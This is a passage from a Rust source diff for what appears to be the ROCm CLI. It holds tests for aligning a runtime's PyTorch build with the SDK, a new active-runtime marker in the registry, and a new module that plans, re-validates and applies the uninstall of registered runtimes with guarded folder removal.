Some("2.11.0+rocm7.14.0a20260611"), + Some("torch==2.10.0+git8514f05"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::Install { + wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), + from: "2.11.0+rocm7.14.0a20260611".to_owned(), + }, + "the engine's release must win while the SDK's build is kept" + ); + } + + /// The engine's own pin runs: keep it, and claim no divergence from it. + #[test] + fn a_working_engine_torch_is_kept_instead_of_realigned() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert_eq!( + retention, + TorchRetention::EngineBuild { + version: "2.11.0+gitd0c8b1f".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), None); + let rendered = render_torch_retention(&retention, "vllm"); + assert!( + rendered.contains(" torch_alignment: retained_engine_build (2.11.0+gitd0c8b1f)\n") + ); + assert!(rendered.contains("ran a GPU kernel with this SDK")); + } + + /// The SDK's build of the pinned release runs: keep it, and expect the pin to + /// stay unsatisfied so the dependency check does not report it as a violation. + #[test] + fn a_working_sdk_torch_is_kept_as_an_intended_divergence() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 8, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert_eq!( + retention, + TorchRetention::SdkBuild { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), Some("torch")); + let rendered = render_torch_retention(&retention, "vllm"); + assert!(rendered.contains(" torch_alignment: retained_sdk_build (2.11.0+rocm7.13.0)\n")); + assert!(rendered.contains("the SDK's build of the release vllm pins ran a GPU kernel")); + } + + /// Both intended builds are fixed points, so a repeated install settles rather + /// than swapping torch back and forth between the two package sources. + #[test] + fn repairing_a_runtime_converges_on_one_of_the_two_intended_builds() { + let after_engine_install = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + // What the realignment installs, seen on the next run over the same runtime. + let after_realignment = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+gitd0c8b1f"), + ); + + assert!(!matches!(after_engine_install, TorchRetention::Realign)); + assert!(!matches!(after_realignment, TorchRetention::Realign)); + } + + /// A pin that already names the SDK's build satisfies itself. Calling that an + /// intended divergence would suppress a violation that has not happened. + #[test] + fn a_pin_that_already_names_the_sdk_build_diverges_from_nothing() { + let retention = classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }, + Some("torch==2.11.0+rocm7.13.0"), + ); + + assert_eq!( + retention, + TorchRetention::EngineBuild { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + assert_eq!(retained_diverged_package(&retention), None); + } + + /// Everything that has not been shown to work goes to the repair path — which + /// is what this tool did unconditionally before it could test a kernel. + #[test] + fn a_torch_that_has_not_been_shown_to_work_is_realigned() { + let usable = |version: &str| RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: version.to_owned(), + }; + let pin = Some("torch==2.11.0+gitd0c8b1f"); + + // A third build nobody here installed on purpose. + assert_eq!( + classify_retained_torch(Some("rocm7.13.0"), &usable("2.9.0+cpu"), pin), + TorchRetention::Realign + ); + // No devices at all, whatever build it is. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::NoDevices { + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + hip_version: "7.13.0".to_owned(), + }, + pin + ), + TorchRetention::Realign + ); + // A device that cannot run a kernel is never retained, not even when it + // holds exactly the build the engine pins. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::KernelFailed { + torch_version: "2.11.0+gitd0c8b1f".to_owned(), + error: "device kernel image is invalid".to_owned(), + }, + pin + ), + TorchRetention::Realign + ); + // No answer is not an answer. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &RuntimeDeviceCheck::NotVerified("torch did not import".to_owned()), + pin + ), + TorchRetention::Realign + ); + // Nothing pins torch, so there is no release to hold either build of. + assert_eq!( + classify_retained_torch(Some("rocm7.13.0"), &usable("2.11.0+gitd0c8b1f"), None), + TorchRetention::Realign + ); + // A range is not an exact pin, so it cannot identify the engine's build. + assert_eq!( + classify_retained_torch( + Some("rocm7.13.0"), + &usable("2.11.0+gitd0c8b1f"), + Some("torch>=2.10") + ), + TorchRetention::Realign + ); + // The manifest does not say what the SDK's build is, so a torch that is + // not the engine's pin cannot be recognised as the other intended one. + assert_eq!( + classify_retained_torch(None, &usable("2.11.0+rocm7.13.0"), pin), + TorchRetention::Realign + ); + // Nothing is retained, so nothing is reported in place of the repair. + assert!(render_torch_retention(&TorchRetention::Realign, "vllm").is_empty()); + assert_eq!(retained_diverged_package(&TorchRetention::Realign), None); + } + + #[test] + fn an_install_failure_is_not_reported_as_a_missing_wheel() { + // Saying "the index publishes no such build" over a network or disk error + // sends the reader hunting for a wheel that exists. Anything the resolver + // did not actually attribute to a missing version degrades to the honest + // answer: the failure, verbatim. + assert!(!install_error_reports_version_unavailable( + "failed to launch uv: Permission denied" + )); + assert!(!install_error_reports_version_unavailable( + "error sending request: dns error: failed to lookup address" + )); + assert!(install_error_reports_version_unavailable( + "No solution found when resolving: torch==2.10.0+rocm7.14.0a20260611" + )); + } + + #[test] + fn an_unresolvable_version_still_reads_as_unavailable() { + let rendered = render_torch_alignment( + &TorchAlignment::Unavailable { + wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), + kept: "2.10.0+git8514f05".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: unavailable\n")); + assert!(rendered.contains("publishes no 2.10.0+rocm7.14.0a20260611")); + } + + #[test] + fn a_failed_realignment_reports_the_error_it_actually_hit() { + let rendered = render_torch_alignment( + &TorchAlignment::InstallFailed { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.11.0+gitd0c8b1f".to_owned(), + error: "failed to launch uv: Permission denied".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: install_failed\n")); + assert!(rendered.contains("Permission denied")); + assert!( + !rendered.contains("publishes no"), + "an install failure must not be described as a missing wheel: {rendered}" + ); + } + + #[test] + fn a_realigned_runtime_names_both_builds_and_the_engine_that_decided_the_release() { + // The line a successful run actually prints, and the one a user reads when + // deciding whether the divergence reported just below it is expected. + let rendered = render_torch_alignment( + &TorchAlignment::Realigned { + from: "2.11.0+gitd0c8b1f".to_owned(), + to: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: realigned\n")); + assert!(rendered.contains("2.11.0+gitd0c8b1f -> 2.11.0+rocm7.13.0")); + assert!( + rendered.contains("the release vllm pins"), + "the engine that pinned the release is named rather than left anonymous: {rendered}" + ); + } + + #[test] + fn a_realignment_reports_what_the_runtime_could_do_before_it() { + // The whole point of the line: the device_check printed afterwards is the + // after state, so without this one a realignment that ends badly does not + // say whether it broke a working runtime or repaired a broken one. Here it + // repaired one, and the output says so without anyone visiting the machine. + let rendered = render_torch_alignment( + &TorchAlignment::Realigned { + from: "2.11.0+rocm7.14.0".to_owned(), + to: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + Some(&RuntimeDeviceCheck::KernelFailed { + torch_version: "2.11.0+rocm7.14.0".to_owned(), + error: "HIP error: hipErrorInvalidImage".to_owned(), + }), + ); + + assert!( + rendered.contains("before this replacement: kernel_failed (torch 2.11.0+rocm7.14.0)"), + "the before verdict names itself and the torch it judged: {rendered}" + ); + assert!( + rendered.contains("device_check below is after it"), + "the reader is told which of the two blocks is which: {rendered}" + ); + } + + #[test] + fn only_a_realignment_reports_a_before_verdict() { + // Every other outcome left the runtime as it was, so the device_check + // below is already about the same torch this block names. A before/after + // pair there would invite reading a change into an outcome that made none. + let before = RuntimeDeviceCheck::Usable { + device_count: 1, + torch_version: "2.11.0+rocm7.13.0".to_owned(), + }; + + for outcome in [ + TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + }, + TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + }, + TorchAlignment::Unavailable { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.11.0+gitd0c8b1f".to_owned(), + }, + ] { + let rendered = render_torch_alignment(&outcome, "vllm", Some(&before)); + assert!( + !rendered.contains("before this replacement"), + "{outcome:?} replaced nothing: {rendered}" + ); + } + } + + #[test] + fn an_already_aligned_runtime_reports_the_version_it_kept() { + // Every refresh after the first lands here, so this is the most frequently + // printed of the five outcomes. + let rendered = render_torch_alignment( + &TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + }, + "vllm", + None, + ); + + assert!(rendered.contains(" torch_alignment: already_aligned (2.11.0+rocm7.13.0)\n")); + } + + #[test] + fn an_already_correct_runtime_is_left_alone() { + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+rocm7.13.0"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned() + } + ); + } + + #[test] + fn a_loose_torch_requirement_is_not_second_guessed() { + // Without an exact pin there is no release to carry over, so the engine's + // resolution stands rather than being overridden on a guess. + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+gitd0c8b1f"), + Some("torch>=2.10"), + "vllm", + ); + + assert!( + matches!(plan, TorchAlignmentPlan::NotApplicable(reason) if reason.contains("exact")), + "a non-pinned requirement must be left alone" + ); + } + + #[test] + fn an_unidentified_sdk_build_is_not_acted_on() { + // Nothing to carry over, so guessing a build would be worse than doing + // nothing and letting the device check report the result. + let plan = plan_torch_alignment( + None, + Some("2.11.0+gitd0c8b1f"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert!(matches!(plan, TorchAlignmentPlan::NotApplicable(_))); + } + + /// The build comes from the manifest, not from whatever torch is installed. + /// + /// This is what makes a runtime already overwritten by the engine recoverable: + /// reading the environment would call the engine's build the SDK's and leave the + /// runtime broken for good. `plan_torch_alignment` takes the build as an opaque + /// argument, so the property lives here, in the lookup that produces it. + #[test] + fn the_sdk_build_is_read_from_the_manifest_not_the_environment() { + let mut manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); + manifest.sdk_torch = Some("2.11.0+rocm7.13.0".to_owned()); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.13.0"), + "the recorded SDK torch names the build" + ); + } + + /// Manifests written before `sdk_torch` existed still have to yield a build. + /// + /// These are the runtimes already on real machines, so this fallback is the + /// repair path rather than a nicety. TheRock names the build `rocm`. + #[test] + fn a_manifest_without_a_recorded_torch_derives_the_build_from_the_sdk_version() { + let manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); + assert!( + manifest.sdk_torch.is_none(), + "this test is about the pre-change manifest shape" + ); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.13.0") + ); + } + + /// A dated alpha carries its date into the build, and must not be trimmed. + /// + /// Nightly SDKs version as `7.14.0a20260812`, and TheRock's torch for one is + /// `+rocm7.14.0a20260812` — the date is part of the build, not decoration on + /// the version. Shortening it to the `7.14.0` release would name a build that + /// exists for a different SDK, so the alignment would install a torch built + /// against libraries the runtime does not have. The fallback is a whole-string + /// interpolation today; this pins that, because the tempting "clean up the + /// version first" refactor is the one that breaks every nightly runtime. + #[test] + fn a_dated_alpha_sdk_keeps_its_date_in_the_derived_build() { + let manifest = test_runtime_manifest_for_update( + "wheel-gfx94x", + "gfx94x", + "gfx94x-dcgpu", + "7.14.0a20260812", + ); + assert!( + manifest.sdk_torch.is_none(), + "this test is about the pre-change manifest shape" + ); + + assert_eq!( + sdk_torch_build_from_manifest(&manifest).as_deref(), + Some("rocm7.14.0a20260812") + ); + } + + /// A manifest that names no version at all must not invent a build. + #[test] + fn a_manifest_with_no_version_identifies_no_build() { + let mut manifest = + test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", " "); + manifest.sdk_torch = None; + + assert_eq!(sdk_torch_build_from_manifest(&manifest), None); + } + + /// A torch the user installed themselves is kept, and named as kept. + /// + /// The Python does not exist and an index is supplied, so an alignment that + /// still ran would reach the install and come back `InstallFailed`. Getting + /// the divergence described instead — the build that was not installed, and + /// the one still there — is what shows the rewrite was skipped rather than + /// attempted and then reported differently. + #[test] + fn disabling_alignment_keeps_the_installed_torch_and_says_what_it_declined() { + let mut env = ScopedTestEnv::new(); + env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.9.0+cpu".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + Some("https://example.invalid/simple"), + Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + } + ); + } + + /// Unset, the rewrite is attempted as usual. + /// + /// Paired with the test above so the opt-out cannot appear to work for an + /// unrelated reason. The index is withheld here on purpose: it is the first + /// thing read after the gate, so the call stops there rather than reaching a + /// real install, and the outcome still tells the two paths apart. + #[test] + fn alignment_runs_unless_the_variable_is_set() { + let mut env = ScopedTestEnv::new(); + env.clear("ROCM_CLI_DISABLE_TORCH_ALIGNMENT"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.9.0+cpu".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + None, + Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::NotApplicable( + "the runtime manifest records no wheel index to install from".to_owned() + ), + "the opt-out must not fire when the variable is unset" + ); + } + + /// Opting out of a rewrite that was never due reports the runtime as it is. + /// + /// `Disabled` says a replacement was declined. On a runtime already holding + /// the SDK's build there was none to decline, and saying otherwise would send + /// the reader looking for a torch that was spared when nothing was. + #[test] + fn disabling_alignment_over_an_aligned_runtime_still_reports_it_aligned() { + let mut env = ScopedTestEnv::new(); + env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); + let probe = therock::TorchAlignmentProbe { + installed_torch: Some("2.11.0+rocm7.13.0".to_owned()), + engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), + }; + + let outcome = align_runtime_torch( + &test_app_paths(), + Path::new("/nonexistent/python"), + Some("https://example.invalid/simple"), + Some("rocm7.13.0"), + "vllm", + Ok(&probe), + ); + + assert_eq!( + outcome, + TorchAlignment::AlreadyAligned { + version: "2.11.0+rocm7.13.0".to_owned(), + } + ); + } + + /// The kept torch is a deliberate divergence, and the remedy is not reinstall. + /// + /// The engine's pin is unsatisfied on purpose here, so reporting a violation + /// would answer the user's instruction with an error — and the remedy that + /// comes with it, `--reinstall`, is the one action that would undo the very + /// decision they made. + #[test] + fn a_disabled_alignment_diverges_on_torch_without_offering_a_reinstall() { + let outcome = TorchAlignment::Disabled { + wanted: "2.11.0+rocm7.13.0".to_owned(), + kept: "2.9.0+cpu".to_owned(), + }; + assert_eq!(deliberately_diverged_package(&outcome), Some("torch")); + + let rendered = render_torch_alignment(&outcome, "vllm", None); + assert!( + rendered.contains(" torch_alignment: disabled\n"), + "the block has to name the state, got {rendered:?}" + ); + assert!( + rendered.contains( + "ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping 2.9.0+cpu rather than installing 2.11.0+rocm7.13.0" + ), + "the block has to name the variable and both builds, got {rendered:?}" + ); + + let dependencies = classify_dependency_details( + vec![ + "The package `vllm` requires `torch==2.11.0+gitd0c8b1f`, but `2.9.0+cpu` is installed".to_owned(), + ], + deliberately_diverged_package(&outcome), + ); + assert!(matches!( + dependencies, + EngineDependencyCheck::ExpectedDivergence(_) + )); + let rendered = render_engine_dependency_check("vllm", &dependencies); + assert!( + !rendered.contains("--reinstall"), + "the remedy would undo the opt-out, got {rendered:?}" + ); + } +} diff --git a/apps/rocm/src/runtime_registry.rs b/apps/rocm/src/runtime_registry.rs index 12c31d088d..9f9fa17ce7 100644 --- a/apps/rocm/src/runtime_registry.rs +++ b/apps/rocm/src/runtime_registry.rs @@ -10,13 +10,19 @@ //! This is a crate-level module that depends on neither `therock` (which writes //! manifests when it installs a runtime) nor `runtimes_cmd` (which lists and //! activates them); both build on it. `runtimes_cmd` re-exports the selection -//! and path-helper names that other modules import from it, but it still -//! reaches the manifest model (the manifest and probe types and the loaders) -//! through `therock`'s re-exports, along with a few `therock` helpers. So -//! `runtimes_cmd` depends on `therock`, while `therock` no longer depends on -//! `runtimes_cmd` in production code. The serde shape of -//! [`InstalledRuntimeManifest`] and its probe structs is the on-disk contract of -//! the registry files and of each install's `.rocm-cli-runtime.json`. +//! and path-helper names that other modules import from it, but it, +//! `runtime_adopt` and `runtime_uninstall` still reach the manifest model (the +//! manifest and probe types and the loaders) through `therock`'s re-exports, +//! along with a few `therock` helpers. So `runtimes_cmd` depends on `therock`, +//! while `therock` no longer depends on `runtimes_cmd` in production code. It +//! also holds `paths_equivalent` and `normalize_path_for_compare`, which adopt +//! and uninstall both need, and the on-disk active-runtime marker +//! (`ActiveRuntimeMarker`, `active_runtime_marker_path`, +//! `active_runtime_marker_matches`) that activation writes and uninstall reads +//! and clears. The serde shape of [`InstalledRuntimeManifest`] and its probe +//! structs is the on-disk contract of the registry files and of each install's +//! `.rocm-cli-runtime.json`; the marker is user state too, and its serde shape +//! is as fixed. use anyhow::{Context, Result, bail}; use rocm_core::{ @@ -642,6 +648,49 @@ fn runtime_install_root_has_payload(path: &Path) -> Result { Ok(false) } +pub(crate) fn paths_equivalent(left: &Path, right: &Path) -> bool { + let left = normalize_path_for_compare(left); + let right = normalize_path_for_compare(right); + rocm_core::runtime_paths_equivalent(&left, &right) +} + +pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { + if let Ok(canonical) = path.canonicalize() { + return canonical; + } + if path.is_absolute() { + return path.to_path_buf(); + } + std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub(crate) struct ActiveRuntimeMarker { + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) manifest_path: PathBuf, + pub(crate) install_root: PathBuf, + pub(crate) previous_runtime_id: Option, + pub(crate) previous_runtime_key: Option, + pub(crate) activated_at_unix_ms: u128, +} + +pub(crate) fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result { + let marker_path = active_runtime_marker_path(paths); + if !marker_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&marker_path) + .with_context(|| format!("failed to read {}", marker_path.display()))?; + let marker: ActiveRuntimeMarker = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", marker_path.display()))?; + Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) +} + +pub(crate) fn active_runtime_marker_path(paths: &AppPaths) -> PathBuf { + paths.data_dir.join("runtimes").join("active.json") +} + #[cfg(test)] mod tests { use super::*; diff --git a/apps/rocm/src/runtime_uninstall.rs b/apps/rocm/src/runtime_uninstall.rs new file mode 100644 index 0000000000..8b102383e6 --- /dev/null +++ b/apps/rocm/src/runtime_uninstall.rs @@ -0,0 +1,888 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! `rocm runtimes uninstall`: planning the removal of a registered runtime, +//! re-validating that plan after the confirmation prompt, and applying it +//! (unregistering the runtime, clearing the active and default state that named +//! it, and removing its install root when ROCm CLI owns it). +//! +//! Relocated from `runtimes_cmd.rs` with no behavior change. `runtimes_cmd.rs` +//! calls into this module from `runtimes()` and re-exports `uninstall_runtime`, +//! `should_remove_runtime_install_root` and `InstallRootDecision` for +//! `storage.rs`. The active-runtime marker check this module makes +//! (`active_runtime_marker_matches`, over the `ActiveRuntimeMarker` the +//! activation writes) and the path comparison it needs live in +//! `runtime_registry.rs`, so this module does not depend on `runtimes_cmd.rs`. + +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{AppPaths, RocmCliConfig, runtime_install_root_is_protected}; + +use crate::cli_report; +use crate::runtime_registry::{ + active_runtime_marker_matches, active_runtime_marker_path, current_runtime_manifest, + paths_equivalent, runtime_manifest_path, select_runtime_manifest, +}; +use crate::therock; + +#[derive(Debug, Clone)] +pub(crate) struct RuntimeUninstallResult { + pub(crate) runtime_id: String, + pub(crate) runtime_key: String, + pub(crate) registry_path: PathBuf, + pub(crate) removed_install_root: Option, + pub(crate) read_only: bool, + pub(crate) manifest_mismatch: bool, + pub(crate) was_active: bool, + pub(crate) default_runtime_cleared: bool, +} + +/// A runtime's install folder is only ever removed when ROCm CLI is confident +/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons +/// for leaving it alone, surfaced separately so a real problem (a stale or +/// corrupt local manifest) doesn't look identical to an intentional no-op. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum InstallRootDecision { + Remove, + ReadOnly, + ManifestMismatch, +} + +impl InstallRootDecision { + pub(crate) const fn should_remove(self) -> bool { + matches!(self, Self::Remove) + } +} + +#[derive(Debug, Clone)] +pub(crate) struct RuntimeUninstallPlan { + manifest: therock::InstalledRuntimeManifest, + registry_path: PathBuf, + was_active: bool, + /// Whether applying this plan will clear `config.default_runtime_id`. + /// This is true when the config's default still points at this + /// manifest's `runtime_id` and either this manifest was the active one, + /// or it is the last remaining install sharing that `runtime_id` (the + /// id is shared across side-by-side installs, so removing one sibling + /// does not by itself orphan the default while others remain). + clears_default_runtime: bool, + install_root_decision: InstallRootDecision, +} + +impl RuntimeUninstallPlan { + fn will_remove_install_root(&self) -> bool { + self.install_root_decision.should_remove() && self.manifest.install_root.exists() + } +} + +pub(crate) fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { + let install_folder = if plan.will_remove_install_root() { + format!( + "{} (would be removed)", + plan.manifest.install_root.display() + ) + } else { + match plan.install_root_decision { + InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), + InstallRootDecision::ReadOnly => { + "left untouched (external/read-only runtime)".to_owned() + } + InstallRootDecision::ManifestMismatch => { + "left untouched (local runtime manifest did not match the registry)".to_owned() + } + } + }; + + let mut report = cli_report::ActionReport::new("runtime uninstall plan") + .detail("runtime_id", &plan.manifest.runtime_id) + .detail("runtime_key", &plan.manifest.runtime_key) + .detail("registry_entry", plan.registry_path.display()) + .detail("install_folder", install_folder); + if plan.clears_default_runtime { + report = report.detail("default_runtime", "would be cleared"); + } + print!("{}", report.render()); +} + +pub(crate) fn plan_runtime_uninstall( + paths: &AppPaths, + config: &RocmCliConfig, + selector: &str, +) -> Result { + let manifests = therock::load_runtime_manifests(paths)?; + let manifest = select_runtime_manifest(&manifests, selector)?.clone(); + let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); + let was_active = current_runtime_manifest(config, &manifests) + .is_some_and(|current| current.runtime_key == manifest.runtime_key); + let clears_default_runtime = config + .default_runtime_id + .as_deref() + .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) + && (was_active + || !manifests.iter().any(|other| { + other.runtime_key != manifest.runtime_key + && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) + })); + let install_root_decision = should_remove_runtime_install_root(&manifest)?; + Ok(RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + }) +} + +/// Re-derives the uninstall plan from disk and refuses to proceed if it no +/// longer matches what the user approved. The interactive confirmation this +/// guards can wait indefinitely; if another process activates a different +/// runtime or replaces the install folder while the prompt is open, applying +/// the stale plan could clear the wrong `active_runtime_key` or recursively +/// delete a folder that is no longer the one that was vetted as safe to +/// remove. +fn revalidate_runtime_uninstall_plan( + paths: &AppPaths, + config: &RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; + if fresh.manifest.runtime_id != plan.manifest.runtime_id + || fresh.manifest.install_root != plan.manifest.install_root + || fresh.was_active != plan.was_active + || fresh.clears_default_runtime != plan.clears_default_runtime + || fresh.install_root_decision != plan.install_root_decision + { + bail!( + "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", + plan.manifest.runtime_key, + plan.manifest.runtime_key + ); + } + Ok(fresh) +} + +pub(crate) enum RuntimeUninstallConfirmation { + Cancelled, + // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two + // variants stay a similar size (clippy::large_enum_variant). + Confirmed { + plan: Box, + config: Box, + }, +} + +/// Runs the confirm-then-revalidate sequence used by an interactive +/// `runtimes uninstall`: waits for the caller-supplied confirmation, then +/// reloads config from disk and re-derives the plan against it, so a state +/// change that happened while the (potentially indefinite) prompt was open +/// cannot be applied against stale data. +pub(crate) fn confirm_and_revalidate_runtime_uninstall( + paths: &AppPaths, + plan: RuntimeUninstallPlan, + confirm: impl FnOnce() -> Result, +) -> Result { + if !confirm()? { + return Ok(RuntimeUninstallConfirmation::Cancelled); + } + let config = RocmCliConfig::load(paths)?; + let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; + Ok(RuntimeUninstallConfirmation::Confirmed { + plan: Box::new(plan), + config: Box::new(config), + }) +} + +pub(crate) fn uninstall_runtime( + paths: &AppPaths, + config: &mut RocmCliConfig, + selector: &str, +) -> Result { + let plan = plan_runtime_uninstall(paths, config, selector)?; + apply_runtime_uninstall(paths, config, plan) +} + +pub(crate) fn apply_runtime_uninstall( + paths: &AppPaths, + config: &mut RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + } = plan; + + let mut removed_install_root = None; + if install_root_decision.should_remove() && manifest.install_root.exists() { + fs::remove_dir_all(&manifest.install_root).with_context(|| { + format!( + "failed to remove runtime folder {} - the runtime registry entry has not \ + been removed yet, so `rocm runtimes list` will still show this runtime as \ + installed and pointing at this (now possibly partially deleted) folder \ + until the removal succeeds", + manifest.install_root.display() + ) + })?; + removed_install_root = Some(manifest.install_root.clone()); + } + + if registry_path.exists() { + fs::remove_file(®istry_path).with_context(|| { + format!( + "failed to remove runtime registry entry {}", + registry_path.display() + ) + })?; + } + + let mut config_changed = false; + if config + .active_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.active_runtime_key = None; + config_changed = true; + } + if config + .previous_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.previous_runtime_key = None; + config_changed = true; + } + if clears_default_runtime { + config.default_runtime_id = None; + config_changed = true; + } + if config + .setup + .therock_venv + .as_ref() + .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) + { + config.setup.therock_venv = None; + config.setup.completed = false; + config.onboarding_dismissed = false; + config_changed = true; + } + if config_changed { + config.save(paths)?; + } + + if active_runtime_marker_matches(paths, &manifest.runtime_key)? { + let marker_path = active_runtime_marker_path(paths); + if marker_path.exists() { + fs::remove_file(&marker_path).with_context(|| { + format!( + "failed to remove active runtime marker {}", + marker_path.display() + ) + })?; + } + } + + Ok(RuntimeUninstallResult { + runtime_id: manifest.runtime_id, + runtime_key: manifest.runtime_key, + registry_path, + removed_install_root, + read_only: manifest.read_only, + manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), + was_active, + default_runtime_cleared: clears_default_runtime, + }) +} + +pub(crate) fn should_remove_runtime_install_root( + manifest: &therock::InstalledRuntimeManifest, +) -> Result { + if manifest.read_only || manifest.imported_from.is_some() { + return Ok(InstallRootDecision::ReadOnly); + } + if !local_runtime_manifest_matches(manifest)? { + return Ok(InstallRootDecision::ManifestMismatch); + } + ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; + Ok(InstallRootDecision::Remove) +} + +fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { + let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); + if !local_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&local_path) + .with_context(|| format!("failed to read {}", local_path.display()))?; + let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", local_path.display()))?; + Ok(local.runtime_key == manifest.runtime_key + && local.runtime_id == manifest.runtime_id + && paths_equivalent(&local.install_root, &manifest.install_root)) +} + +fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { + if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { + bail!( + "refusing to remove unsafe runtime folder {}", + path.display() + ); + } + // Belt and braces: 